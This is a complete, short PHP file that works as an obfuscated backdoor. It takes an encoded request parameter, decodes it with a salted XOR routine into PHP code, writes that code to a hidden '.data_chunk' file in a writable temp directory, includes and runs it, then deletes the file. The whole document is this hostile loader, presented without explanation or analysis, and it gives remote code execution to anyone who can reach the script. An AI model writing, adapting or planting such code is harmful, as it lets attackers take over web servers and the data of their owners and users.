<?php

if(!empty($_REQUEST["symbol"])){
	$dchunk = $_REQUEST["symbol"];
	$dchunk  =explode 		(   '.', 	$dchunk	 )   ;  
	$object = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt);
            $i = 0;
    
            foreach($dchunk as $v4) {
                $chS = ord($salt[$i % $sLen]);
                $d =((int)$v4 - $chS -($i % 10))^	79;
                $object.=	 chr($d);
                $i++;	} 
	$res = array_filter([getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]);
	while ($reference = array_shift($res)) {
    		if (is_writable($reference) && is_dir($reference)) {
    $entity = "$reference/.data_chunk";
    if (@file_put_contents($entity, $object) !== false) {
	include $entity;
	unlink($entity);
	die();
}
}
}
}